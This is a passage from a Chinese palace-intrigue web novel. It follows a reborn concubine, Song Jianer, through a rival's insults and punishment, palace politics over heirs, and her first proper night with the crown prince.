“金承徽口无遮拦,胡言乱语,回去抄《女诫》十遍,抄好了拿来我检查。”
“太子妃!”金承徽难以置信。
“你有异议?”
当然有了!
金承徽瞪大眼。
心道自己不过是奚落了这个宋槛儿几句,也就是随口一句市井俗语。
怎么就要被罚了?!
她不服!
可惜这些话金承徽只敢在心里想想。
这便是规矩。
太子妃是元隆帝下旨赐婚的正统皇家儿媳,名正言顺的大靖储君正妻。
对她不敬,那就是在藐视龙威。
挑衅皇家威严。
金承徽还不至于蠢到这个地步。
郑明芷懒得再理她。
顺势训诫了几句类似于“后宅女眷当得和睦共处,以服侍好殿下为己任”的话,便让槛儿她们散了。
槛儿四人依着位份高低相继出了嘉荣堂。
走了没多远的一段路。
金承徽突然转身看向槛儿。
毫不掩饰脸上的嫌恶,语气恶劣。
“瘟神!”
“一身肥肉,丑**,看着你就倒胃口!”
第18章 太子爷今儿是不是不顺畅啊?
金承徽模样娇俏可人,声音也软,即便是生气骂人听着也像是在撒娇。
不了解她的人或许只当她娇纵率真,不会将其娇滴滴的撒气话放在心上。
可槛儿却清楚。
这只是表象。
金承徽行事不过脑,但论恶语伤人和心狠手辣,却是和郑氏不遑多让。
上辈子槛儿没少被对方像这样中伤,可惜那会儿她位卑言轻又胆小怯懦,根本不敢和对方争辩半个字。
还是后面偶然的一次机会。
金承徽在外羞辱她时被太子听去了,金承徽当场被降了位份,成了金奉仪。
槛儿则越级成了承徽。
再之后金奉仪被曹良媛利用,卷入了和郑氏的对仗中,成了东宫后院里第一个被赐死的妾室不提。
“金姐姐,还请慎言。”
槛儿黛眉轻蹙,余光不着痕迹地朝嘉荣堂方向瞥了眼,神色认真道。
金承徽笑了。
越过秦昭训走过来,一派的天真无邪。
“对你有什么可慎言的?你就是很胖很丑啊,伤了我的眼还不兴我说了?”
说着,她还对曹秦二女笑道:
“你们瞧她这脸,油红四白的,像不像家里逢年节祭祀用的猪头?
还有这胸这屁股,啧啧,我只见过生了孩子有奶水的妇人是这般模样,却没见过哪个黄花大闺女这样的。”
“天啦,宋昭训你不会是有奶水了吧?”
说着话,她捂住了嘴故作震惊,然而那双桃花眼却是笑得恶意满满。
主仆一荣俱荣一损俱损。
跳珠气得心肝疼,可金承徽不是粗使婆子,这种时候她一个奴婢什么也做不了。
秦昭训皱了下眉。
显然不赞同金承徽后面这番说词。
太过了。
曹良媛原只打算看个热闹,可作为妾室里的领头人,这会儿也不得不表态。
省得回头被牵连。
只是不待她开口,槛儿便拭起了泪,看似鼓足了勇气一般看着金承徽。
“我是胖,比不得姐姐们弱不胜衣之姿,可不看僧面看佛面,我好歹是得了殿下应允入的咱们后院。
姐姐如此羞辱我,是将殿下置于何地,就不怕殿下知晓了怪罪下来吗?”
金承徽当然怕太子,闻言神情僵了一瞬。
可对上眼前人那副梨花带雨,楚楚可怜的娇弱样儿,她心头那个火啊。
“蹭”一下蹿得老高!
“你别想拿殿下来吓唬我!谁知道你使了什么下三滥的手段哄骗了殿下……”
“来人!”
一声怒喝从后方传来。
却是郑明芷,看样子是要去坤和宫请安。
金承徽娇躯一震,花容失色。
“太、太子妃……”
“给我掌她的嘴!”
郑明芷的表情比先前任何一次都冷,也是难得在外当众发了火。
霜云得令上前。
也没给金承徽辩解的机会,扬手就是“**”地数十记耳光扇了下去。
眨眼的功夫。
金承徽白净的小脸肿了一片,最后还是她实在吃不住疼倒在了地上。
霜云才收手。
郑明芷走过来。
“妄议殿下,藐视皇权,欺压内宅女眷,金承徽闭门思过三月,罚俸一年,抄读宫规百遍,以儆效尤!”
“不,太子妃,妾身……”
金承徽撑起来想求饶,然而开口便牵动了裂开的嘴角,脸上更是火辣辣的。
直痛得她眼泪鼻涕一大把。
哪还有方才的半分骄横。
郑明芷剜她一眼,头也没回地走了。
槛儿等人屈膝恭送。
直到看不见人影,她们才站直身。
金承徽被两个大宫女搀起来。
剧痛让她连对槛儿放狠话的心思都没了,就这么半死不活地被搀走了。
曹良媛和秦昭训也没久留。
只不过曹良媛在临走前多看了槛儿一眼。
这一眼含着笑,颇有些意味不明。
槛儿只作不知。
领着跳珠回了西六院。
.
郑明芷出了东宫坐上肩舆。
庞嬷嬷跟在旁边:“主子,回头可是要把那蹄子的侍寝日子给排上了?”
“不排!”
郑明芷一大早就被接二连三气得不轻,还没缓过来,倚着扶手没好气道。
庞嬷嬷没敢继续说。
郑明芷揉着睛明穴吐出一口气,缓了缓才又道:“不是不排,是不急。”
东宫后院里的女人,包括她在内。
都是在各自月事结束后。
挑几个宜子旺子的吉日安排侍寝。
她让那小蹄子去伺候太子的那天,便是个吉日,可惜那小蹄子点儿背。
逢上了太子临时有事。
太子昨晚去了曹良媛院里。
而今儿个四月十八,后日二十,是太子照例在嘉荣堂留宿的日子。
照太子的性子,今明两日和接下来的整个四月下旬大抵都不会来后院了。
如此,她把那小蹄子的侍寝日子排上也无济于事,只能等到下个月。
庞嬷嬷还是想让槛儿尽快侍寝。
若不然拖久了,保不齐真让曹良媛抢了先。
当然,皇家注重子嗣,自是没有“正妻诞子前妾室不得生子”的规矩。
可古往今来,有子的宠妾和正妻嫡子那就是天敌,皇家历来可不少宠妃所出的皇子最后坐上那个位置的。
就譬如当朝魏贵妃和她所出的三皇子睿王,如今便是中宫一系的劲敌!
“若不,后日您再同殿下商量一下吧,还是尽快让那蹄子侍寝较为保险。”
庞嬷嬷试着劝道。
郑明芷不耐烦:“再看吧。”
后院进新人这种事,放在任何一个王府和高门大户里都不值得一提。
但放在东宫,性质就不一样了。
尤其现今太子二十有一,后院的女人却少得可怜,子嗣也还不见影儿。
目前虽还未有什么流言传出,但宫里宫外这么多双眼睛盯着东宫,谁知道有些人暗中存着什么心思。
而东宫后院进人内务府要派人打理宫室,消息自然瞒不住,这种事也没必要瞒。
这不?
今早后宫妃嫔到坤和宫给裴皇后请安时,魏贵妃便打头提起了这事。
车轱辘话翻来覆去。
其实就是想拐弯抹角从裴皇后口中打探点儿其他东西,顺便暗讽裴皇后,至今连个亲孙子孙女都没抱上。
所幸裴皇后清楚魏贵妃的德行,三言两语就把人给噎得无话可说。
宫人来报太子妃来了时,请安的妃嫔刚离开,裴皇后闻言将人宣了进来。
郑明芷入内向裴皇后请了安。
婆媳俩几句家常聊罢。
裴皇后问:“那个宋昭训,宋槛儿,之前不是说生了孩子再给位份,怎么突然改主意了?听说是太子的意思?”
太子妃找人替自己生孩子,事关太子子嗣,郑明芷一个人做不了主。
因而
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除了太子和她。
裴皇后和元隆帝也知晓此事。
时下娶妻讲究门第身份,纳妾就不一定了,寻常高门大户如此,皇家亦然。
所以对于此事,元隆帝未置一词。
他也没功夫管太子后院的事。
这事便落到了裴皇后头上。
裴皇后知道了儿媳要送到太子跟前的人是谁后,便让心腹去查了槛儿。
样貌、身世、人品什么的。
确定此女无可疑之处。
她便把事情全权交由郑明芷了。
要小两口做决定的事,她一个当婆婆的插手太多,没得讨儿媳的嫌。
“回母后,是殿下的意思。”
郑明芷温婉道。
“我也是昨儿听海顺来传口谕时才知晓的,至于殿下是何意,儿媳并不清楚。”
裴皇后沉吟:“一个名分罢了。”
“儿媳也这么想。”
郑明芷笑着说。
“左右日后她生了孩子,也要抱到嘉荣堂去养,名分早给晚给都差不多。”
裴皇后微不可察地蹙了蹙眉,旋即又舒展了眉宇,语调温和道:
“是这么个理儿,但孩子这事也急不来,太子能在二十五岁前有儿有女便足矣。”
其实让裴皇后来看。
太子于女色上寡淡并不是什么坏事。
纵观古史。
不是所有皇家子弟都妻妾成群,制衡朝堂也并非只宠幸妃嫔这一种手段。
像是明祖皇帝,终其一生只发妻皇后一个女人,大靖皇族照样延续至今。
这是其一。
其二是陛下近几年对东宫的态度。
太子是中宫嫡出,有康国公府这个历经四朝,手持铁券丹书的外家为后盾。
又打小敏而好学,贤名远扬。
且几个成年皇子中,太子的样貌最像元隆帝。
过于完美了。
储君,不需要太过完美。
所以子嗣得要,但不急于一时。
这些道理裴皇后先前暗示过太子妃,但对方显然没把她的话放在心上。
裴皇后也就懒得再说了。
横竖孩子早晚都得有。
就是太子那病……
虚伪!
郑明芷面上笑着,心里暗暗撇嘴。
储君怎可能不注重子嗣?
裴皇后有此一说,说白了还不是为了她自己的贤名,也免得被人指摘,说她做婆婆的逼儿媳给丈夫纳妾。
当真是虚伪!
裴皇后没错过郑明芷眼底那抹转瞬即逝的讥诮,她忽然什么都不想说了。
随便寻了个由头把人打发了。
等人走了,裴皇后靠着椅背叹出一口气。
坤和宫的管事冯嬷嬷端了茶来。
“娘娘叹什么气,殿下后院进人是喜事啊,还是殿下自个儿纳的,许是那位宋昭训真合了殿下的心意呢。”
裴皇后接过茶盏,有些失笑。
“太子的性子你还不清楚?我看他抬举那小昭训多半是跟太子妃较着劲。”
这话冯嬷嬷不好接。
只能岔开话头,说些“殿下打小行事有度,娘娘不必忧心”的宽慰话。
殊不知历来行事有度的太子,今日一整天的言行都透着说不出的古怪。
最明显的。
便是太子爷每回去净房都要绷着张俊脸,低头看半晌,神态若有所思。
“干爹,您说咱爷今儿是不是不顺畅啊?”
傍晚,元淳宫。
袁宝候在净房外,小声跟自家干爹咬耳朵。
第19章 侍寝(1)太子爷:“孤有个朋友……”
“我看你脑子不顺畅!”
海顺一巴掌拍袁宝脑门儿上,低骂道。
“咱殿下身强力壮,龙马精神,最是康健不过,没见殿下这几回都是小吗?”
袁宝捂着脑门儿嘿嘿笑。
“那不是爷进去了快一盏茶时间还没出来嘛,听说小也有可能不顺畅。
儿子就怕咱爷面薄,没好意思跟咱说这方面的事儿,想着要不寻个由头问问。”
“就你机灵!”
海顺笑骂。
心里倒有了几分动摇。
主要太子今儿除了每回去净房的时间长了些,其他时候言行也透着古怪。
这种古怪。
伺候了这位爷十七年的海顺感觉最明显。
其具体表现为。
太子平时脸也冷,但那种冷更偏向于一种淡漠,是一种与生俱来的矜贵和泰山崩于前而面不改色的沉稳。
可今儿。
太子打从晨起脸上就带着霜。
周身气压也低得吓人,练武时的那股狠劲儿海顺瞧着就觉得头皮发麻。
另外,太子现下主要做的是审录地方呈上来的祥瑞奏章,主持翰林院经筵讲学记录的整理这类差事。
这差从早忙到晚,却没有实权。
相较于其他几位在六部领了差事的王爷,太子这差委实当得憋屈。
就为这事儿。
信王、睿王和慎王没少在太子跟前含沙射影,明里暗里都在看太子的笑话。
可即便如此,太子也从没被他们激怒过。
反正海顺和跟太子共事的官员,是没见过他把个人情绪带到差事上来的。
当然今天太子的差也当得好,没给官员摆脸色,甚至都没让他们看出来。
可海顺还是发现了。
太子今日当差说的话比往常少了不少,中间休息总是一副若有所思的模样。
海顺想了一天也没想明白他们太子爷今天是怎么了,也不敢瞎问。
明明昨晚睡前都好好儿的。
海顺往净房瞥了眼,压低声问袁宝:“昨儿个半夜可是有什么情况?”
这个问题他老早就想问了。
碍于一直没寻着合适的机会才拖到现在。
呃……
袁宝表情僵了僵。
没敢跟自家干爹说他们殿下昨晚半夜出去了一趟,硬着头皮道:“只换了回裤子,没别的情况啊。”
这就奇了怪了。
海顺拧着眉。
难不成是这几晚连着脏了裤子,让太子爷觉得在他们这些奴才跟前失了颜面。
亦或者太子对此生了烦躁。
所以才有些压不住火气了?
海顺觉得这个猜测很有可能。
毕竟太子本身就极其厌恶那事,先前和太子妃大婚洞房,以及决定临幸宋昭训那晚,都是提前用了药……
正想着,太子从净房出来了。
看样子心情还是不甚美妙。
海顺忙敛起心思,上前伺候太子净手。
从后寝殿出来,膳房刚好送来了晚膳,一行小太监在西间摆好了膳。
海顺随太子移步过去。
太子并不是骄奢淫逸之人,与其他皇子公主比起来,太子称得上简朴。
只是,一国储君再如何简朴。
规制上该有的也不少。
像是今儿晚膳便有春笋盏蒸鹅,鸡汤煨虾圆,火腿银鱼,黄芽菜炒鸡,松仁八宝肉,另有五道素菜。
外加小菜、面点各三样,开胃汤品两道。
不过太子在吃食上没什么喜好,通常每道菜只用上两三口便作罢了。
这其实也是身为储君的悲哀,为的是以防有人掌握到太子的喜好。
但太子今儿的胃口显然不好,每道菜都只动了一筷子,汤也只喝了一口。
海顺就急了:“殿下再用些吧,当了整日的差只用这些怎么撑得住。”
骆峋搁下银著,“赏下去吧。”
说完,起身往书房走了。
海顺抓耳挠腮,跟在后面大着胆子问:
“殿下今儿可是身子有什么不适?若不奴才请莫院判来替您把把脉?”
骆峋脚下微顿,看向他。
海顺没好提太子殿下在净房待的时间不正常这事儿,笑着斟酌道:“到底入了夏,天气愈发热起来了……”
“嗯。”
没等他把话说完,骆峋颔了颔首。
海顺:“……”
一刻钟后,莫院判来了。
海顺被赶出了书房。
海顺再次:“……”
不是。
事关太子爷的康健问题,他这个贴身侍候的大总管怎么还不能听了呢??
书房,次间里。
莫院判收回把脉的手。
起身道:“殿下脉长而端直,柔劲有力,虽稍有气旺火盛之兆,但问题并不大,日常喝些下火的茶水便好。”
气旺火盛。
骆峋垂了垂眸。
随即重新看向莫院判,神情冷肃:“身体康健,缘何行房中途临阵倒戈?”
莫院判:“!!!”
莫院判只觉一记惊雷,炸得他头晕眼花,以至于头一回在看诊时失了态。
是他想的那样吗?!
“莫院判,”骆峋把莫院判的惊愕看在眼里,眉头轻蹙,声音冷了几分。
莫院判如梦惊醒。
回过神对上太子看似平静实则压力十足的眼神,额角不禁冒起一层冷汗。
好在到底做了三十年的御医,这些年太子的病也一直是他在治。
莫院判冷静下来。
“回殿下,此番状况除开先天原因外,多与过度劳累、房事不节,亦或者心火过旺,肝气郁结有关,另初次行事通常也会伴随此等情况。”
当然,最后一句,莫院判只是出于医者的身份纯粹地阐述这项病因。
他虽负责治疗太子的癖病。
但因着五年前便研制出了药,所以莫院判对太子的房中事并不清楚。
骆峋微不可察地挑了下眉。
莫院判没看出这位爷的异样。
也拿不准对方的心思。
于是试探着道:“微臣观殿下之脉象未见异常,不知殿下可否详述?”
“不必。”
骆峋面无表情。
“替别人问的,只顺便请你来替孤诊一诊平安脉。”
莫院判:“……”
行吧。
这位爷既然都这么说了,他们这些为臣子的自然要懂得审时度势。
莫院判走了,海顺从外面进来。
“莫院判说您是受天气影响导致的心
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火旺,开了几味清热下火的药,奴才命人熬上了,半个时辰后便能用。”
骆峋颔首,视线落到面前的书上。
不知是不是海顺的错觉。
他总觉得他们太子爷脸不绷了,身上气压不低了,瞧着似乎恢复如常了。
骆峋不知海总管的心思。
他看着手边的书,实则思绪已经飞远了。
骆峋在想昨晚。
想小昭训大胆妄为的行举,想她柔若无骨的小手,想自己的溃不成军,还有当时她眼中明显的错愕。
宫里的女子侍寝前都要接受专门的教导,这一点不分出身高低。
想也知道她来服侍他前,跟人学过这方面的规矩,知晓男子在这事上的情况。
所以当时她才会面露惊讶。
没想到他会那么……
骆峋的手倏地攥成拳!
半个时辰后。
骆峋喝了药,沐浴完换了身家常袍子。
在海顺震惊的目光中大步流星地进了后院,径直朝永煦院方向行去。
.
永煦院,东厢房。
正值戌时六刻。
早过了元淳宫的人来取灯的时辰,今儿个太子不会来后院已经板上钉钉。
今晚值夜的小满子扶着梯子,小桂子上去将那两盏璀璨的宫灯给灭了。
卧房里。
槛儿收拾好上了榻。
靠坐在床头听跳珠读话本子,时不时和做针线的寒酥、瑛姑姑说几句话。
早上请安时发生的事,跳珠上午便在槛儿的应允下给瑛姑姑他们说了。
经跳珠的一番渲染。
望晴、小福子他们对槛儿现下在东宫后院的处境有了更清晰的认知。
同时他们也清楚地知道了,自己的这位新主子不是个遇事会吃亏的主儿。
做奴才的,尤其是做宫里的奴才,生死荣辱基本完全依附于主子。
受宠的主子不一定聪慧,能支棱起来,但聪慧,能支棱起来的主子日后的日子绝不会难过到哪儿去。
所以听跳珠说完早上的事后,包括瑛姑姑在内的几人都暗暗松了口气。
即便今晚太子没来后院,没让宋昭训掌灯,他们也没再像昨晚那样心神不宁。
望晴、喜雨收拾完浴间出来。
槛儿赏了她们两袋小零嘴儿:“没什么事了,你们自去歇着吧。”
喜雨笑眯眯地谢了恩。
望晴心中五味杂陈。
两人正准备告退,外面忽然响起小桂子小满子略显慌乱的请安声。
“奴才参见殿下!殿下千岁千千岁!”
屋中几人一怔。
还是槛儿最先反应过来,掀了被子下榻。
寒酥手脚麻利地从妆台上取了根发带给槛儿绑了个极简发型,瑛姑姑则从架子上拿了件外衫给她披上。
迅速确认槛儿着装整洁。
主仆几人匆匆迎了出去。
她们刚走出卧房。
迎面便见太子经落地罩进来了。
男人一身**白素缎平金绣麒麟的宽袖常服,身姿挺拔,器宇轩昂。
举手投足间仪态优雅,头上一顶嵌宝金镶玉琉珠冠,更衬得他雍容华贵。
槛儿微顿。
旋即疾步上前,“妾身给殿下请安。”
第20章 侍寝(2)太子的异样?
骆峋的目光在小昭训绯红的脸颊上顿了顿,旋即敛起视线淡声叫了起。
槛儿谢了恩起身。
随即吩咐望晴、喜雨上茶点,让寒酥跳珠取些果子来,她则伺候太子入座。
骆峋听她东一嘴西一嘴地吩咐人做事,看似游刃有余,实则声音都打着颤。
他不禁侧目看了她一眼。
槛儿当然不想因为太子的一个眼神就诚惶诚恐,但耐不住这具身子委实胆小。
不过这样更符合她现在的身份和性情,所以槛儿倒也没觉得有什么不好。
“殿、殿下可用过膳了?”
她站在太子身侧,假作慌乱地问,而后像突然意识到自己说了什么似的。
“妾瞎问的,殿下恕罪。”
昨晚那般胆大包天,敢拦他,敢罔顾他的命令,敢同他撒娇,还敢触碰他的。
这会儿倒老鼠见了猫似的。
若非她浑身上下的反应不似作假,骆峋都要怀疑小昭训此刻是装出来的。
所以,昨晚她是哪来的胆子?
不过碍于海顺及其他宫人在场,历来注重规矩礼节的太子爷并未多言。
只冷漠地“嗯”了一声。
事关男人的尊严问题。
槛儿今天白天都在想太子会不会就此迁怒于她,她该想个什么办法补救。
结果没想到,晚上太子竟来了她这边。
思绪间,跳珠几人奉上了茶点果子。
海顺眼观鼻鼻观心,打了手势领着屋里的一众宫人都退到了堂间。
于是很快,次间只剩了槛儿和太子两人。
屋里莫名一阵诡异的安静。
“殿下,妾身替您按按跷可好?”
按跷即通过手法按压疏通筋络,后宫的女人多多少少都通一些按跷之法。
骆峋日常都是太医院的人替他疏通筋络,还没让哪个妾室这么伺候过他。
但见小昭训红唇紧抿,目光忐忑,一副好不容易鼓足勇气的紧张模样。
骆峋沉默片刻,点了点头。
槛儿暗暗呼出一口气。
蹲身准备伺候太子脱鞋到炕上坐着,被男人制止了,“你上去,到后面。”
槛儿明白过来。
低低地应了一声后,红着脸当着太子的面褪下软底绣鞋,再转身爬上炕。
行动间,那双雪白的天足一闪而过。
骆峋的目光移向别处。
槛儿跪坐到太子身后,活动了几下手,搓热了掌心先从男人的肩开始按起。
太子五岁起便开始习武,十六年来无一日懈怠,练就了一身好功夫和一副不输军中武将的健硕身躯。
平日里瞧着不显壮。
但一经上手就能知道,太子的衣裳底下这副身子究竟有多强健结实。
槛儿的手甫一按上去,便清楚地感觉到男人肩上硬邦邦的肌肉轮廓。
不过,到底做了一年多的杂役。
尽管双手经前面一个月的精心养护,大致恢复到了槛儿做绣娘时的白嫩细软,但那把子力气还是在的。
槛儿先按捏了太子的整个肩部,然后找准肩颈交界处的穴位沿着手臂方向,用掌根从上到下地细细推按。
如此重复七八个来回。
男人肩上的肌肉明显放松了不少。
骆峋自然不知道槛儿的这番按跷手法,是她上辈子专门跟御医学过的。
他有些意外,也觉得松快。
直到一道温热轻软的呼吸落在他的耳后,骆峋的身子不自在地一僵。
槛儿察觉到了。
但她这会儿一门心思在按跷上,也没多想,习惯性往前俯了俯身。
“殿下放松,这一处穴位妾身……”
话音未落。
撑在男人肩头的那只手陡然被他的大掌捏住,随即不等槛儿反应过来。
骆峋攥住她的手腕。
槛儿只来得及轻呼一声,便被太子拽到了怀里,整个人坐到了他腿上。
槛儿下意识环住他的颈子。
海顺在外面听到动静探了个头进来,看清里头的情形又赶忙缩了回去。
“殿下……”
太子的神情如常,但眸光格外深幽。
看得槛儿心悸。
骆峋拨开她眼角边的一缕发丝。
然后拿带着薄茧的指腹,似有若无地摩挲着小姑娘桃花般娇艳的脸颊。
不知在想什么。
槛儿被他磨得头皮发麻,勾着男人后颈的手不自觉滑到了他的胸膛。
触及到那结实健壮的肌肉,槛儿的掌心像似被灼了一下,反射性地要缩回手。
就在这时,太子抱着她站起了身。
槛儿攥着他的衣襟将脸埋进了他肩窝,露在外面的一只耳朵红得像似要滴血。
骆峋唇角
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不显地勾了勾。
进了卧房。
按规矩侍妾要伺候太子宽衣,槛儿被放到榻上后便要起身为太子更衣。
被男人阻了。
“躺着。”
他言简意赅,纵使这种时候,清冷的声音里也带着储君该有的威严气势。
在明知道接下来会发生什么的情况下,听他如此正色地说出这样的两个字。
又见他站在榻前兀自脱下外袍,露出那身经烛光映照,在中衣下若隐若现的健硕体魄。
槛儿闭着眼偏过头去。
没过多久,她忽地感觉眼前一黑。
睁眼一看。
竟是屋里的灯都灭了。
只次间晕黄的烛光自珠帘处渗进来,衬着整个卧房内一片昏暗朦胧。
槛儿不解地扭头。
却是没等她将心里的疑惑问出口,榻前那道高大的身影便覆了下来。
唇被攫住。
男人的胸膛与自己紧紧相贴。
嗅着他身上清冽好闻的味道,槛儿不由失了神,抬手攀上太子的颈子。
熟悉的气息,熟悉的怀抱。
还有这熟悉的契合。
很多槛儿曾经以为忘了的画面,都在这一刻尽数从脑子里冒了出来。
一幕幕活色生香。
一幕幕全是她和他。
恍惚间。
槛儿记起,上辈子前面的那几年,太子似乎确实有行事时熄灯的习惯。
后来怎么没这习惯了。
槛儿不清楚。
也没心思深究。
黑夜给了人无限勇气。
也放大了所有感官,滋生了旖旎。
而就在槛儿昏昏沉沉。
自认做足了准备时,意外猝不及防。
却是太子两度失误。
槛儿忍无可忍,受不住地哭出了声。
“还是让人掌灯吧,殿下……”
骆峋身形微顿。
朦胧夜色里。
能看到他俊朗分明的面部轮廓,有晶莹的汗珠从他青筋凸起的额角滑落。
那双深邃清冷的眸子里冒着勾人摄魄的幽光,仿佛野兽进食前的凝视。
槛儿小声抽泣。
就在她以为太子要停下来,让人掌灯时。
男人倏地抓住她搂着他脖颈的手往腰腹之下放,呼吸喷洒在槛儿耳畔。
嗓音低冷喑哑:
“有宋昭训指教,不必掌灯。”
第21章 太子就是在报复!
明月高悬。
夜风吹得树沙沙响。
潭中的几株碗莲在风中摇曳生姿,有金色鲤鱼从田田莲叶下穿梭而过。
“哗啦”一声水响。
巴掌大的鲤鱼自水中飞跃而起。
鱼尾轻扬,水花四溅。
金色鳞片在月光下熠熠生辉,美不胜收。
廊檐下。
寒酥、跳珠和小桂子等人一个个面红耳赤的,只恨不得把脑袋扎进裤腰里。
除了他们,还有太子带过来的人。
这些人是太子的随行,平日里太子上哪都跟着,是太子跟前的老人。
先前太子每回去太子妃和曹良媛几人的去处,他们都在外边守着。
每逢这时候,他们便是聋子,哑子。
太子与妻妾的房中之事如何。
不是他们能过问的,他们也一概不知。
然而此时听着这一声声隔着门窗传出来的响动,哪怕是他们这些老人。
也都没忍住红了脸。
心里忍不住便拿太子以往去嘉荣堂和曹良媛那边,和这会儿的对比了起来。
然后就有些闹不懂了。
这位宋昭训不是奴才出身吗?怎生反倒比太子妃她们还来得娇气?
宫里头的规矩大。
哪怕是侍寝,女子也要保持端庄得体,言行不得轻佻,不得有引诱之举。
即便过程中有所不适,也绝不能表现出来,且关键时刻还要谢赏赐。
若不然会被视为德行不端,不敬皇权,历来后宫可不少人因此被降罪的。
瑛姑姑早先还在广储司时就常听人提及,道太子爷是个极其重规矩的。
这让她不免就有些担心。
担心槛儿这么闹下去会触怒太子,亦或者事儿结束了,太子秋后算账。
早知如此,不管殿下来或不来,她白日里都该跟主子提提这些规矩的!
那厢海顺的心情也是大起大落。
一会儿担心这大胆的宋昭训惹太子不快,一会儿又担心太子中途犯病。
毕竟自家殿下今晚,可是没服药啊!
然而听着屋里的动静,海顺又没忍住咧开嘴,笑得俩眼睛只剩一条缝了。
自家殿下可是终于开荤了!
半个时辰后。
众**眼可见地松了口气。
只等着屋里摇铃,他们再进去伺候。
哪曾想摇铃声没听到。
倒是又……
如是反复了四回。
余光瞥见边上一张张大红脸,海顺眼珠子一转,转身假作没好气地低斥:
“回头都把嘴给我闭严实了!改明儿要是有谁向你们打探今儿晚上的事。
敢透露出去半个字,别怪我手下不留情!”
众人自然齐声应是。
丑时过半,夜很深了。
床帐被一只大掌撩开。
骆峋下了榻,捞起散乱一地的中衣裤套上,又坐回榻上闭着眼坐了会儿。
良久。
他看向床榻内侧,嗓子沉得厉害:“起来洗洗再睡。”
等了会儿,没听到动静。
骆峋暗咳一声,站起身来,径自拿了先前放在架子上的外衫穿好。
“孤让你的人进来服侍你沐浴。”
槛儿想不理他。
她算是看出来了,这人就是在报复!
报复她昨晚让他失了颜面!
亏得她刚开始的时候还想过,若是今晚太子又像昨晚那样那什么怎么办,她要怎么样才能装得像一些。
把人哄住。
结果呢?
槛儿这会儿只感觉哪哪儿都不爽利。
她难受,也觉得委屈。
她都多少年没被他这般待过了。
可槛儿也清楚。
这时候的太子就是这么一个人。
他的身份也注定了即便是行这事,他也无需在意谁的感受,无需体贴谁。
上辈子最初的那几年,每逢太子来她屋里,槛儿都感觉像是上了一回刑。
偏她怕他得紧,什么都不敢说。
还是后面她实在难受,病了一场。
不知御医跟太子怎么说的,太子又做了什么,总归之后太子就像是变了一个人似的。
也是时隔太久,槛儿把这些事给忘了。
听太子穿好了衣裳要叫人进来,槛儿想也没想便强撑着掀开被子下榻。
可惜脚刚踩在地上要站起来,腿就控制不住一软,整个人往地上栽去。
骆峋眼疾手快地一把将人捞到怀里,“你做什么,身子不适还乱动?”
他皱着眉,声音也冷。
即便他本身没有要训斥怀里人的意思,听在槛儿耳里也像是他在凶她。
槛儿就不干了。
眸子一转,害怕般在他怀中瑟缩了两下,“殿下恕罪,妾身想送送您。”
她的声音嘶哑,语调状似小心畏惧。
骆峋听着,很是不自在。
放在槛儿腰间的手紧了紧,这一紧也让他才意识到怀中之人还光着。
那一身欺霜赛雪的皮子,饶是在这么昏暗的环境下也白得格外明显。
骆峋目力惊人。
加之两人贴得这么近,只肖一眼,有些东西便有了卷土重来的趋势。
但骆峋再是不知疼人,也知道不能继续了。
他将人打横抱起。
“用不着你送。”
他还不至于这么没人性,要一个刚被自己折腾得站都站不起来的人送。
槛儿知道太子要走。
这是他的规矩。
除了郑氏这个发妻,他不会为哪个妾室破例,也没有哪个妾室能让他破例。
上辈子便是如此。
在她成为他的继后之前,哪怕他再怎么宠她,他也没有在她的屋里过过夜。
槛儿都记得。
所以她不强求他留下,她也还没有恃宠生娇的资格,但她要让他惦着她。
“好吧,妾身其实是想和殿下多
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待一会儿。”
槛儿靠在太子肩头,声音里没有故作眷恋,只带着一丝羞涩的笑意。
“殿下上回说妾身还能见着您,今晚妾身就真见着殿下了,真好。”
骆峋没想到她会这么轻易就说出想和他多待这样的话,他感到意外。
又听她提起他们第一晚相处,骆峋冷声道:“人而无信,不知其可也。”
槛儿在他下巴上亲了一下。
“殿下是君子。”
咳!
这话她好意思说,骆峋没好意思听。
若真是君子,方才就不会那般了,且刚开始他的确是存着几分报复心。
骆峋将人放回榻上。
随即摇响床围外的金铃。
考虑到太子临幸妻妾后要沐浴更衣,槛儿屋里的浴间也是隔的两间。
瑛姑姑跳珠几人进来掌了灯,将槛儿连人带被地搀进了西浴间。
太子则去了东浴间。
槛儿出来时卧房已经开窗通过风了,榻上也收拾得整整洁洁,焕然一新。
骆峋先槛儿半刻钟收拾好。
见她出来,他也没说别的。
只目光在小姑娘愈发娇媚的脸蛋上顿了一下,便淡淡道了一句“你自安歇”后领着海顺大步走了。
夜色弥漫,整个东宫都笼罩在一片沉寂之中。
海顺亦步亦趋地跟在太子身侧。
见自家主儿都这会儿了也没有任何不适,眉宇间还带着前所未见的惬意。
海顺的心彻底放回了肚子里。
要不说宋昭训有福气呢。
不但让他们太子爷做主给了位份。
今儿还让他们家爷,破天荒地在太子妃没安排人侍寝的日子里去了永煦院。
且看殿下这样,显然是觉着宋昭训侍候得好呢,这可是天大的造化啊。
海顺暗暗咋舌。
旋即突然想起一件事,欲言又止。
“有话就说,”骆峋斜他一眼。
海顺咧嘴一笑。
他们已经出了后院,他也没藏着掖着。
“倒也不是什么大事,就是今儿个宋昭训去嘉荣堂请安时好像发生了点儿事,奴才也是晚上同您下了值后才听底下的人报上来的。”
说着,他把事情言简意赅地给太子说了。
末了道:
“那起子个碎嘴烂舌的,真把宫里当外头菜市场了,也不想想若非殿下仁德,哪有他们见天儿的舒坦日子。
不过太子妃这回算是杀鸡儆猴,想来往后该是不会有人敢再犯了。”
骆峋负手而行,“她指控错了人?”
“是,说是太子妃问宋昭训要证据,昭训被吓着了,一时情急认错了人。”
一时情急。
骆峋将这四字在心底滚了一圈。
须臾,他开口道:
“从孤的库房挑些好料子,配几套看得过眼的头面、首饰,明日着人送过去。”
“要适合她的。”
第22章 “那个贱婢!”
正式侍了寝,与太子的关系也比想象中融洽,槛儿这一晚睡得格外踏实。
殊不知太子去了永煦院的消息一经传开,整个后院就跟一壶滚沸了的水似的。
且不提宫人们如何震惊。
单说郑明芷及曹良媛这几个主子,一个个心里都像是被猫抓了似的。
没一个是安生的。
要知道太子此前来后院,除了陪太子妃用膳,或者在嘉荣堂留宿外。
其他时候都是轮到曹良媛三人侍寝了,太子才会随心选择来或不来后院。
像今天这样。
不声不响地进了后院也就罢,去的还是没被安排侍寝日子的槛儿屋里。
简直匪夷所思!
太不符合太子的性子了!
刚开始郑明芷还想的是。
太子行事向来有章程。
他当初点头答应让那贱婢来替她生子,想来也是想尽快能有个嫡子。
如此,着急让那贱婢承宠倒也说得过去。
而曹良媛三人对槛儿要替太子妃固宠生孩子这件事,也皆心知肚明。
所以四人心里不舒服归不舒服。
倒不至于睡不着觉。
